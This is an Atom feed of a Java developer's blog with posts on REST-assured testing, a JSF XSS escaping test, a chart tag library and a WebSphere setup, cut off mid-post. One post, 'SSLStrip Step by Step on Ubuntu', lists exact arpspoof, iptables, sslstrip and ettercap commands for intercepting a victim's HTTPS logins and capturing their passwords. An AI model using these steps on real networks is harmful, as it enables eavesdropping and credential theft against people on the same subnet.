href="http://feedproxy.google.com/~r/Jkook/~3/vQSuDIchkUc/rest-assured-tricks-how-to-test-value.html" title="REST-assured Tricks How to test a value in JSON" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/06/rest-assured-tricks-how-to-test-value.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkcFSX06fSp7ImA9WhZUFUw.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-1021186701651816099</id><published>2011-06-08T10:57:00.001+05:30</published><updated>2011-06-08T11:50:18.315+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-08T11:50:18.315+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="restassured" /><category scheme="http://www.blogger.com/atom/ns#" term="REST-assured" /><title>REST-assured Tricks How to test for 307 Temporary Redirect ?</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/T3WdgpGKPTqcIpxVGpUCjwVJexU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T3WdgpGKPTqcIpxVGpUCjwVJexU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/T3WdgpGKPTqcIpxVGpUCjwVJexU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T3WdgpGKPTqcIpxVGpUCjwVJexU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Testing for 307 has two parts a) test http status code b) test http header Location&lt;br /&gt;
&lt;pre class="prettyprint lang-java" &gt;String xmlBody = "&amp;lt;orderData&amp;gt;&amp;lt;orderType&amp;gt;BUY&amp;lt;/orderType&amp;gt;&amp;lt;quantity&amp;gt;44&amp;lt;/quantity&amp;gt;&amp;lt;useraccountid&amp;gt;10&amp;lt;/useraccountid&amp;gt;&amp;lt;/orderData&amp;gt;";
//xml payload
String location = given()
        .body(xmlBody)
        .contentType(ContentType.XML).body(xmlBody)
 // a) test http status code 307
 .expect().statusCode(307)
       .when()
       .post("/RestFullDayTrader/resources/pending_orders/100").getHeader("Location");
        System.out.println(" Location " + location);      
 // b) test http header Location   
  assertTrue(location1.contains("pending_orders/100"));&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-1021186701651816099?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/7PNL5jTATI8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/1021186701651816099/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=1021186701651816099" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/1021186701651816099?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/1021186701651816099?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/7PNL5jTATI8/rest-assured-tricks-how-to-test-for-307.html" title="REST-assured Tricks How to test for 307 Temporary Redirect ?" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/06/rest-assured-tricks-how-to-test-for-307.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEcHQHwzcSp7ImA9WhZUFEg.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-2991179189504534657</id><published>2011-06-07T18:21:00.002+05:30</published><updated>2011-06-07T18:37:11.289+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-07T18:37:11.289+05:30</app:edited><title>Test code using prettify</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/p3e1gAn5iEj57N2Kf0iEYrRjA3c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/p3e1gAn5iEj57N2Kf0iEYrRjA3c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/p3e1gAn5iEj57N2Kf0iEYrRjA3c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/p3e1gAn5iEj57N2Kf0iEYrRjA3c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre class="prettyprint lang-java linenums"&gt;public void testReliablePostBuy() throws Exception {
        System.out.println("testReliablePostBuy");
        String xmlBody = "&lt;orderdata&gt;&lt;ordertype&gt;BUY&lt;/orderType&gt;&lt;quantity&gt;44&lt;/quantity&gt;&lt;symbol&gt;SYMBOLICIC1&lt;/symbol&gt;&lt;useraccountid&gt;10&lt;/useraccountid&gt;&lt;/orderData&gt;";
        //xml
    &lt;/pre&gt;&lt;a href="http://stackoverflow.com/questions/1852537/how-to-use-prettify-with-blogger-blogspot"&gt;How to use prettify with blogger/blogspot?&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-2991179189504534657?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/IIBmF_q5jks" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/2991179189504534657/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=2991179189504534657" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/2991179189504534657?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/2991179189504534657?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/IIBmF_q5jks/test-pretty.html" title="Test code using prettify" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2011/06/test-pretty.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEMBRnYzfCp7ImA9WxNaFk8.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-6918698426988081968</id><published>2009-12-01T01:22:00.001+05:30</published><updated>2009-12-01T05:44:17.884+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-01T05:44:17.884+05:30</app:edited><title>Secure applications with JSF JSF2 XSS</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/8I1Dr6z9RkiMGEE6eGHKE_DiYwA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8I1Dr6z9RkiMGEE6eGHKE_DiYwA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/8I1Dr6z9RkiMGEE6eGHKE_DiYwA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/8I1Dr6z9RkiMGEE6eGHKE_DiYwA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;p align="justify"&gt;Securing web-applications with JSF2 is lot more easier. Java EE provides a lot of security features.Lets examine these features under the context of OWASP top Ten actually try to hack the application and analyze the results.&lt;/p&gt;  &lt;p align="justify"&gt;&lt;strong&gt;XSS or CrossSite Scripting &lt;/strong&gt;: Protection against XSS is inbuilt and available by default. I have created sample application using Netbeans. It has a kool code generator for jsf2 crud operations. &lt;/p&gt;  &lt;p&gt;Jsf code to display a field. &lt;strong&gt;&amp;lt;h:outputText value=&amp;quot;#{item.description}&amp;quot; /&amp;gt; &lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Lets inject XSS vector from &lt;a href="http://ha.ckers.org/xss.html"&gt;http://ha.ckers.org/xss.html&lt;/a&gt; .&lt;/p&gt;  &lt;p&gt;Result after injecting javascript into description fields &lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_We5O4sZMyIU/SxQibR04c2I/AAAAAAAAAGg/jEdEdAip2pE/s1600-h/ProductListWithEscape%5B7%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithEscape" border="0" alt="ProductListWithEscape" src="http://lh5.ggpht.com/_We5O4sZMyIU/SxQibsJeFUI/AAAAAAAAAGk/ZHOTcqZK5Qg/ProductListWithEscape_thumb%5B5%5D.jpg?imgmax=800" width="463" height="262" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Note that the javascript is displayed in the table as is. It is not executed. Another screen shot with IE&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_We5O4sZMyIU/SxQibq0wGpI/AAAAAAAAAGo/SDVvTXoO0Ac/s1600-h/ProductListWithEscapeIE%5B6%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithEscapeIE" border="0" alt="ProductListWithEscapeIE" src="http://lh6.ggpht.com/_We5O4sZMyIU/SxQib1JGKAI/AAAAAAAAAGw/HX_E4Nd1wpk/ProductListWithEscapeIE_thumb%5B4%5D.jpg?imgmax=800" width="463" height="262" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;I got similar result with Chrome.&lt;/p&gt;  &lt;p&gt;Modified the jsf not to handle XSS &lt;strong&gt;&amp;lt;h:outputText value=&amp;quot;#{item.description}&amp;quot; escape=&amp;quot;false&amp;quot;/&amp;gt;&lt;/strong&gt;&lt;/p&gt;  &lt;p&gt;Popup in FireFox&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh3.ggpht.com/_We5O4sZMyIU/SxQicHamC2I/AAAAAAAAAG0/lyCwx3SUL-E/s1600-h/ProductListWithOutEscapeFF%5B8%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithOutEscapeFF" border="0" alt="ProductListWithOutEscapeFF" src="http://lh3.ggpht.com/_We5O4sZMyIU/SxQicU6h3fI/AAAAAAAAAHA/ydoob_SXVPI/ProductListWithOutEscapeFF_thumb%5B6%5D.jpg?imgmax=800" width="463" height="262" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Hacked Result in FF&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh6.ggpht.com/_We5O4sZMyIU/SxQickvfwhI/AAAAAAAAAHE/yQmFAt-EFow/s1600-h/ProductListWithOutEscapeFF2%5B5%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithOutEscapeFF2" border="0" alt="ProductListWithOutEscapeFF2" src="http://lh3.ggpht.com/_We5O4sZMyIU/SxQic70bkTI/AAAAAAAAAHI/7WiggZgYKp0/ProductListWithOutEscapeFF2_thumb%5B3%5D.jpg?imgmax=800" width="463" height="262" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;Hacked Result in IE&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_We5O4sZMyIU/SxQidFFYiHI/AAAAAAAAAHY/0wvTb3NNqKA/s1600-h/ProductListWithOutEscapeIE%5B9%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithOutEscapeIE" border="0" alt="ProductListWithOutEscapeIE" src="http://lh5.ggpht.com/_We5O4sZMyIU/SxQid6C9vRI/AAAAAAAAAHc/e9Ic0HiCSDg/ProductListWithOutEscapeIE_thumb%5B7%5D.jpg?imgmax=800" width="463" height="262" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Hacked Result in Chrome, Interestingly Chrome was not able to render the page.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_We5O4sZMyIU/SxQid0n4VAI/AAAAAAAAAHo/inllDLwFfM4/s1600-h/ProductListWithOutEscapeChrome%5B5%5D.jpg"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="ProductListWithOutEscapeChrome" border="0" alt="ProductListWithOutEscapeChrome" src="http://lh4.ggpht.com/_We5O4sZMyIU/SxQieGUz6uI/AAAAAAAAAHw/WfrKweI0qgw/ProductListWithOutEscapeChrome_thumb%5B3%5D.jpg?imgmax=800" width="463" height="262" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Conclusion jsf provides XSS protection by Default. I soon present results of more attacks.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-6918698426988081968?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/FFMO9GXMbWY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/6918698426988081968/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=6918698426988081968" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/6918698426988081968?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/6918698426988081968?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/FFMO9GXMbWY/secure-applications-with-jsf-jsf2.html" title="Secure applications with JSF JSF2 XSS" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/_We5O4sZMyIU/SxQibsJeFUI/AAAAAAAAAGk/ZHOTcqZK5Qg/s72-c/ProductListWithEscape_thumb%5B5%5D.jpg?imgmax=800" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://jkook.blogspot.com/2009/12/secure-applications-with-jsf-jsf2.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUIFQ3s6fCp7ImA9WxNRFUo.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-1042859763901184885</id><published>2009-09-10T13:27:00.003+05:30</published><updated>2009-09-10T15:41:52.514+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-09-10T15:41:52.514+05:30</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>SSLStrip Step by Step on Ubuntu</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/qN9CmqXjV4fiBHvfyOuiSrsZPiI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qN9CmqXjV4fiBHvfyOuiSrsZPiI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/qN9CmqXjV4fiBHvfyOuiSrsZPiI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/qN9CmqXjV4fiBHvfyOuiSrsZPiI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;SSLStrip used along with MITM to hack SSL websites.&lt;br /&gt;You will need following tools&lt;br /&gt;&lt;ol&gt;&lt;li&gt;SSLStrip&lt;/li&gt;&lt;li&gt;arpspoof&lt;/li&gt;&lt;li&gt;ettercap&lt;/li&gt;&lt;li&gt;Ubuntu Linux&lt;/li&gt;&lt;li&gt;Internet Connection&lt;/li&gt;&lt;li&gt;Victim has to be in the same subnet&lt;/li&gt;&lt;/ol&gt;Step 1:- Download SSLStrip from http://www.thoughtcrime.org/software/sslstrip/&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_We5O4sZMyIU/SqiniFsrVUI/AAAAAAAAADU/GYaHH8SLJ4E/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;Step 2:- Unzip the downloaded files use "tar -zxvf sslstrip-0.4.tar.gz"&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_We5O4sZMyIU/SqiohBoi0DI/AAAAAAAAADY/77HeqwjeuK4/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;br /&gt;Step 3:- Build SSLStrip change directory to unzip folder run "python setup.py build"&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_We5O4sZMyIU/Sqipa3WtV8I/AAAAAAAAADc/ujWlhZX2uW0/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;Step 4:- Install SSLStrip run "sudo python setup.py install" , Requires root privilages&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_We5O4sZMyIU/SqiqHwVFsdI/AAAAAAAAADg/lgp-IKA3SE4/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;Step 5:- Install arpspoof "sudo apt-get install dsniff"&lt;br /&gt;&lt;img src="http://lh5.ggpht.com/_We5O4sZMyIU/SqiqrW__PKI/AAAAAAAAADk/h1scxF0XD-I/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;Step 6:- Install ettercap "sudo apt-get install ettercap"&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_We5O4sZMyIU/SqirB0_7xMI/AAAAAAAAADo/4OaWUVJrcvM/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;br /&gt;Step 7:- Verify you ipaddress "ifconfig"  Notice the hackers ip is 172.168.1.3&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_We5O4sZMyIU/Sqirl8NYeeI/AAAAAAAAADs/VRb9946-A20/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;img src="http://lh3.ggpht.com/_We5O4sZMyIU/Sqir-ZVRjzI/AAAAAAAAADw/8eN_zqtU2aE/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;Step 8:- Verify your default gateway "ip route show | grep default | awk '{ print $3}' "&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_We5O4sZMyIU/Sqisj8yuzuI/AAAAAAAAAD0/c69f0vuMVuM/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;Note : This hack works only if victims gateway address is same as that of the Hacker. (172.168.1.1 in the above example)&lt;br /&gt;&lt;br /&gt;Step 9:- Create three different tabs in your terminal window. We need to run three commands parallely. In first tab run " sudo arpspoof  -t 172.168.1.4 172.168.1.1"&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_We5O4sZMyIU/SqiuM1KWDeI/AAAAAAAAAD4/UFzqdepx-Ig/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;&lt;br /&gt;Step 10:-  Second tab run "iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000"&lt;br /&gt;and run "sslstrip"&lt;br /&gt;&lt;br /&gt;&lt;img src="http://lh4.ggpht.com/_We5O4sZMyIU/SqivZJKTjVI/AAAAAAAAAD8/YkskTW56khM/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;Step 11:- In the thisd tab run ettercap. Ethercap will print all the password it sniffed on the console. "sudo ettercap -Tqz"&lt;br /&gt;&lt;img src="http://lh6.ggpht.com/_We5O4sZMyIU/SqiwDUpsyrI/AAAAAAAAAEA/8K0TWTucfag/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px;" /&gt;&lt;br /&gt;Step 12:- Wait for the victim to login to gmail , yahoo etc.. the passwords will be printed on ettercap console.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-1042859763901184885?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/CEyzgxEWX7w" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/1042859763901184885/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=1042859763901184885" title="4 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/1042859763901184885?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/1042859763901184885?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/CEyzgxEWX7w/sslstrip-step-by-step-on-ubuntu.html" title="SSLStrip Step by Step on Ubuntu" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh4.ggpht.com/_We5O4sZMyIU/SqiniFsrVUI/AAAAAAAAADU/GYaHH8SLJ4E/s72-c/%5BUNSET%5D.png?imgmax=800" height="72" width="72" /><thr:total>4</thr:total><feedburner:origLink>http://jkook.blogspot.com/2009/09/sslstrip-step-by-step-on-ubuntu.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE8FR3gyeip7ImA9WxVXFkw.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-6846640404671880531</id><published>2009-02-14T17:22:00.002+05:30</published><updated>2009-02-14T17:30:16.692+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-14T17:30:16.692+05:30</app:edited><title>jkookOFCTags Released</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/FB2AvqKlnub9UplNmCPF34C5aBg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FB2AvqKlnub9UplNmCPF34C5aBg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/FB2AvqKlnub9UplNmCPF34C5aBg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/FB2AvqKlnub9UplNmCPF34C5aBg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;jkookOFCTags Released&lt;br /&gt;Download &lt;a href="https://sourceforge.net/project/platformdownload.php?group_id=181934"&gt;link&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;jkookOFCTags is a jsp tag library for drawing flash charts. It is based on famous&lt;a href="http://teethgrinder.co.uk/open-flash-chart-2/"&gt; Open Flash Chart project  &lt;/a&gt;&lt;br /&gt;It extends of &lt;a href="http://code.google.com/p/ofcj/"&gt;Open Flash Chart 2.x Library for Java&lt;/a&gt;&lt;br /&gt;Depends on xstream1.3.1&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7811313566645564123-6846640404671880531?l=jkook.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Jkook/~4/t1S3nqfYd2w" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://jkook.blogspot.com/feeds/6846640404671880531/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=7811313566645564123&amp;postID=6846640404671880531" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/6846640404671880531?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7811313566645564123/posts/default/6846640404671880531?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Jkook/~3/t1S3nqfYd2w/jkookofctags-released-download-link.html" title="jkookOFCTags Released" /><author><name>Kiran.Kumar M</name><uri>http://www.blogger.com/profile/01324349914910981544</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="24" src="http://1.bp.blogspot.com/-aaM9szVmAUU/TXHAszd2Y8I/AAAAAAAAAKg/SinXOCC4tc4/s220/100_0305.JPG" /></author><thr:total>0</thr:total><feedburner:origLink>http://jkook.blogspot.com/2009/02/jkookofctags-released-download-link.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IGRnYzeCp7ImA9WxVXFk0.&quot;"><id>tag:blogger.com,1999:blog-7811313566645564123.post-3010606950928840895</id><published>2009-02-14T13:55:00.007+05:30</published><updated>2009-02-14T14:22:07.880+05:30</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-14T14:22:07.880+05:30</app:edited><title>Installing metro on WebSphere6.1</title><content type="html">
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/07NZC-5aUK0ZYayhE8xzOkGorRU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/07NZC-5aUK0ZYayhE8xzOkGorRU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/07NZC-5aUK0ZYayhE8xzOkGorRU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/07NZC-5aUK0ZYayhE8xzOkGorRU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;Installing metro on WebSphere6.1. WithOut installing feature pack&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Create you web application.&lt;br /&gt;Most important change is add&lt;br /&gt;com.sun.xml.ws.transport.http.servlet.WSServlet and your webservices entries in web.xml and sun-jaxws.xml&lt;br /&gt;&lt;br /&gt;Create EAR file&lt;br /&gt;&lt;br /&gt;META-INF---\&lt;br /&gt;                          Application.xml&lt;br /&gt;webmodule.war---\&lt;br /&gt;                                 META-INF --\&lt;br /&gt;                                                           MANIFEST.MF&lt;br /&gt;webservices-api.jar&lt;br /&gt;webservices-extra.jar&lt;br /&gt;webservices-extra-api.jar&lt;br /&gt;webservices-rt.jar&lt;br /&gt;webservices-tools.jar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Remove conflicting jars from WEB-INF/lib&lt;br /&gt;jaxb-api-1.5.jar&lt;br /&gt;jaxb-impl-1.5.jar&lt;br /&gt;jaxb-libs-1.5.jar&lt;br /&gt;jaxb-xjc-1.5.jar&lt;br /&gt;jaxrpc-api-1.1.jar&lt;br /&gt;jaxrpc-impl-1.1.jar&lt;br /&gt;jaxrpc-spi-1.1.jar&lt;br /&gt;xerces-2.0.2.jar&lt;br /&gt;xml-apis-2.0.2.jar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Contents of Application.XML&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 2&lt;/span&gt; &lt;span class="xml-tag"&gt;&amp;lt;application&lt;/span&gt; &lt;span class="xml-attribute"&gt;id&lt;/span&gt;=&lt;span class="xml-value"&gt;"Application_ID1"&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 3&lt;/span&gt;     &lt;span class="xml-tag"&gt;&amp;lt;display-name&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;MyEnterpriseApplication&lt;span class="xml-tag"&gt;&amp;lt;/display-name&lt;/span&gt;&lt;span class="xml-tag"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="line-number"&gt; 4&lt;/span&gt;     &lt;span class="xml-tag"&gt;&amp;lt;module&lt;/span&gt; &lt;span class="xml-attribute"&gt;id&lt;/span&gt;=&lt;span class="xml-value"&gt;"WarModule"&lt;/span&gt;&lt;span 